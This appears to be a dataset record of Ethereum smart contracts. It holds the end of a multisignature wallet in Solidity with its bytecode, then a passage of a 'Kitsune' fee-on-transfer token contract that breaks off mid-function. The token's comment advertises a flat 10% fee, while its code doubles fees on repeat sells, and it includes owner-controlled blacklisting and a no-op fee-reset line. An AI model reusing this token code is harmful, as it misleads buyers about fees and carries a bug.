tx.executed = false;
}
}
}
/// @dev Returns the confirmation status of a transaction.
/// @param transactionId Transaction ID.
/// @return Confirmation status.
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
/*
* Internal functions
*/
/// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet.
/// @param destination Transaction target address.
/// @param value Transaction ether value.
/// @param data Transaction data payload.
/// @return Returns transaction ID.
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
/*
* Web3 call functions
*/
/// @dev Returns number of confirmations of a transaction.
/// @param transactionId Transaction ID.
/// @return Number of confirmations.
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
/// @dev Returns total number of transactions after filers are applied.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Total number of transactions after filters are applied.
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
/// @dev Returns list of owners.
/// @return List of owner addresses.
function getOwners()
public
constant
returns (address[])
{
return owners;
}
/// @dev Returns array with owner addresses, which confirmed transaction.
/// @param transactionId Transaction ID.
/// @return Returns array of owner addresses.
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
/// @dev Returns list of transaction IDs in defined range.
/// @param from Index start position of transaction array.
/// @param to Index end position of transaction array.
/// @param pending Include pending transactions.
/// @param executed Include executed transactions.
/// @return Returns array of transaction IDs.
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
|
0x6060604052361561011b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063025e7c2714610177578063173825d9146101da57806320ea8d86146102135780632f54bf6e146102365780633411c81c1461028757806354741525146102e15780637065cb4814610325578063784547a71461035e5780638b51d13f146103995780639ace38c2146103d0578063a0e67e2b146104ce578063a8abe69a14610539578063b5dc40c3146105d1578063b77bf6001461064a578063ba51a6df14610673578063c01a8c8414610696578063c6427474146106b9578063d74f8edd14610752578063dc8452cd1461077b578063e20056e6146107a4578063ee22610b146107fc575b5b6000341115610174573373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c346040518082815260200191505060405180910390a25b5b005b341561018257600080fd5b610198600480803590602001909190505061081f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e557600080fd5b610211600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061085f565b005b341561021e57600080fd5b6102346004808035906020019091905050610b02565b005b341561024157600080fd5b61026d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cac565b604051808215151515815260200191505060405180910390f35b341561029257600080fd5b6102c7600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ccc565b604051808215151515815260200191505060405180910390f35b34156102ec57600080fd5b61030f600480803515159060200190919080351515906020019091905050610cfb565b6040518082815260200191505060405180910390f35b341561033057600080fd5b61035c600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8f565b005b341561036957600080fd5b61037f6004808035906020019091905050610f8b565b604051808215151515815260200191505060405180910390f35b34156103a457600080fd5b6103ba6004808035906020019091905050611073565b6040518082815260200191505060405180910390f35b34156103db57600080fd5b6103f16004808035906020019091905050611142565b604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200180602001831515151581526020018281038252848181546001816001161561010002031660029004815260200191508054600181600116156101000203166002900480156104bc5780601f10610491576101008083540402835291602001916104bc565b820191906000526020600020905b81548152906001019060200180831161049f57829003601f168201915b50509550505050505060405180910390f35b34156104d957600080fd5b6104e161119e565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105255780820151818401525b602081019050610509565b505050509050019250505060405180910390f35b341561054457600080fd5b610579600480803590602001909190803590602001909190803515159060200190919080351515906020019091905050611233565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156105bd5780820151818401525b6020810190506105a1565b505050509050019250505060405180910390f35b34156105dc57600080fd5b6105f26004808035906020019091905050611394565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156106365780820151818401525b60208101905061061a565b505050509050019250505060405180910390f35b341561065557600080fd5b61065d6115c5565b6040518082815260200191505060405180910390f35b341561067e57600080fd5b61069460048080359060200190919050506115cb565b005b34156106a157600080fd5b6106b76004808035906020019091905050611680565b005b34156106c457600080fd5b61073c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061185d565b6040518082815260200191505060405180910390f35b341561075d57600080fd5b61076561187d565b6040518082815260200191505060405180910390f35b341561078657600080fd5b61078e611882565b6040518082815260200191505060405180910390f35b34156107af57600080fd5b6107fa600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611888565b005b341561080757600080fd5b61081d6004808035906020019091905050611ba4565b005b60038181548110151561082e57fe5b906000526020600020900160005b915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561089b57600080fd5b81600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156108f457600080fd5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600091505b600160038054905003821015610a80578273ffffffffffffffffffffffffffffffffffffffff1660038381548110151561098757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610a725760036001600380549050038154811015156109e757fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600383815481101515610a2357fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610a80565b5b8180600101925050610951565b6001600381818054905003915081610a989190611f7b565b506003805490506004541115610ab757610ab66003805490506115cb565b5b8273ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a25b5b505b5050565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610b5b57600080fd5b81336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515610bc657600080fd5b8360008082815260200190815260200160002060030160009054906101000a900460ff1615610bf457600080fd5b60006001600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e960405160405180910390a35b5b505b50505b5050565b60026020528060005260406000206000915054906101000a900460ff1681565b60016020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600080600090505b600554811015610d8757838015610d3a575060008082815260200190815260200160002060030160009054906101000a900460ff16155b80610d6d5750828015610d6c575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15610d79576001820191505b5b8080600101915050610d03565b5b5092915050565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dc957600080fd5b80600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610e2157600080fd5b8160008173ffffffffffffffffffffffffffffffffffffffff161415610e4657600080fd5b6001600380549050016004546032821180610e6057508181115b80610e6b5750600081145b80610e765750600082145b15610e8057600080fd5b6001600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060038054806001018281610eec9190611fa7565b916000526020600020900160005b87909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508473ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b50505b505b505b50565b6000806000809150600090505b60038054905081101561106b57600160008581526020019081526020016000206000600383815481101515610fc957fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561104a576001820191505b60045482141561105d576001925061106c565b5b8080600101915050610f98565b5b5050919050565b600080600090505b60038054905081101561113b576001600084815260200190815260200160002060006003838154811015156110ac57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561112d576001820191505b5b808060010191505061107b565b5b50919050565b60006020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600101549080600201908060030160009054906101000a900460ff16905084565b6111a6611fd3565b600380548060200260200160405190810160405280929190818152602001828054801561122857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116111de575b505050505090505b90565b61123b611fe7565b611243611fe7565b6000806005546040518059106112565750595b908082528060200260200182016040525b50925060009150600090505b600554811015611314578580156112aa575060008082815260200190815260200160002060030160009054906101000a900460ff16155b806112dd57508480156112dc575060008082815260200190815260200160002060030160009054906101000a900460ff165b5b15611306578083838151811015156112f157fe5b90602001906020020181815250506001820191505b5b8080600101915050611273565b8787036040518059106113245750595b908082528060200260200182016040525b5093508790505b8681101561138857828181518110151561135257fe5b906020019060200201518489830381518110151561136c57fe5b90602001906020020181815250505b808060010191505061133c565b5b505050949350505050565b61139c611fd3565b6113a4611fd3565b6000806003805490506040518059106113ba5750595b908082528060200260200182016040525b50925060009150600090505b60038054905081101561151d5760016000868152602001908152602001600020600060038381548110151561140857fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561150f5760038181548110151561149157fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683838151811015156114cc57fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001820191505b5b80806001019150506113d7565b8160405180591061152b5750595b908082528060200260200182016040525b509350600090505b818110156115bc57828181518110151561155a57fe5b90602001906020020151848281518110151561157257fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505b8080600101915050611544565b5b505050919050565b60055481565b3073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561160557600080fd5b60038054905081603282118061161a57508181115b806116255750600081145b806116305750600082145b1561163a57600080fd5b826004819055507fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a836040518082815260200191505060405180910390a15b5b50505b50565b33600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156116d957600080fd5b81600080600083815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561173357600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561179d57600080fd5b600180600087815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550843373ffffffffffffffffffffffffffffffffffffffff167f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef60405160405180910390a361185285611ba4565b5b5b50505b505b5050565b600061186a848484611e29565b905061187581611680565b5b9392505050565b603281565b60045481565b60003073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118c457600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561191d57600080fd5b82600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561197557600080fd5b600092505b600380549050831015611a63578473ffffffffffffffffffffffffffffffffffffffff166003848154811015156119ad57fe5b906000526020600020900160005b9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611a555783600384815481101515611a0657fe5b906000526020600020900160005b6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550611a63565b5b828060010193505061197a565b6000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9060405160405180910390a28373ffffffffffffffffffffffffffffffffffffffff167ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d60405160405180910390a25b5b505b505b505050565b600033600260008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611bff57600080fd5b82336001600083815260200190815260200160002060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611c6a57600080fd5b8460008082815260200190815260200160002060030160009054906101000a900460ff1615611c9857600080fd5b611ca186610f8b565b15611e1d57600080878152602001908152602001600020945060018560030160006101000a81548160ff0219169083151502179055508460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168560010154866002016040518082805460018160011615610100020316600290048015611d805780601f10611d5557610100808354040283529160200191611d80565b820191906000526020600020905b815481529060010190602001808311611d6357829003601f168201915b505091505060006040518083038185876187965a03f19250505015611dd157857f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7560405160405180910390a2611e1c565b857f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923660405160405180910390a260008560030160006101000a81548160ff0219169083151502179055505b5b5b5b505b50505b505050565b60008360008173ffffffffffffffffffffffffffffffffffffffff161415611e5057600080fd5b60055491506080604051908101604052808673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018481526020016000151581525060008084815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101556040820151816002019080519060200190611f0f929190611ffb565b5060608201518160030160006101000a81548160ff0219169083151502179055509050506001600560008282540192505081905550817fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5160405160405180910390a25b5b509392505050565b815481835581811511611fa257818360005260206000209182019101611fa1919061207b565b5b505050565b815481835581811511611fce57818360005260206000209182019101611fcd919061207b565b5b505050565b602060405190810160405280600081525090565b602060405190810160405280600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061203c57805160ff191683800117855561206a565b8280016001018555821561206a579182015b8281111561206957825182559160200191906001019061204e565b5b509050612077919061207b565b5090565b61209d91905b80821115612099576000816000905550600101612081565b5090565b905600a165627a7a72305820a95672f637076d916fc62831bf7c1d0a4bd192a153b788c6e991156674c209ae0029
|
{"success": true, "error": null, "results": {}}
| 6,014 |
0xda2f866d5fe14aa3320be33956fc5542b2dbbfde
|
//Kitsune
/***
total fee = 10% on any transaction, including:
3% redistribution
2% burn
2.5% ecosystem
2.5% marketing
***/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public{
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
}
contract Kitsune is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address[] private _excluded;
string private _name = 'Kitsune';
string private _symbol = 'KITSUNE';
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 3;
uint256 private _burnFee = 2;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
address payable public immutable _deadAddress = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) public{
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0 &&_burnFee == 0) return;
_taxFee = 0;
_burnFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 3;
_burnFee = 2;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
if (multiplier > 1) {
_taxFee = 6;
_burnFee = 4;
_teamFee = 10;
}
else {
restoreAllFee();
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (30 seconds);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 seconds);
}
else if (sellnumber[from] > 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (30 seconds);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to] || to == _deadAddress) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() public onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
swapEnabled = true;
cooldownEnabled = true;
liquidityAdded = true;
tradingOpen = true;
_maxTxAmount = 3000000000 * 10**9;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn, uint256 tTeam) = _getTValues(tAmount, _taxFee, _burnFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rFee, uint256 rTotalFee) = _getRFees(tFee, tBurn, tTeam, currentRate);
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, rTotalFee, currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
uint256 rBurn = tBurn.mul(currentRate);
_reflectFee(rFee, tFee, rBurn, tBurn);
_burnTokens(rBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee, uint256 rBurn, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
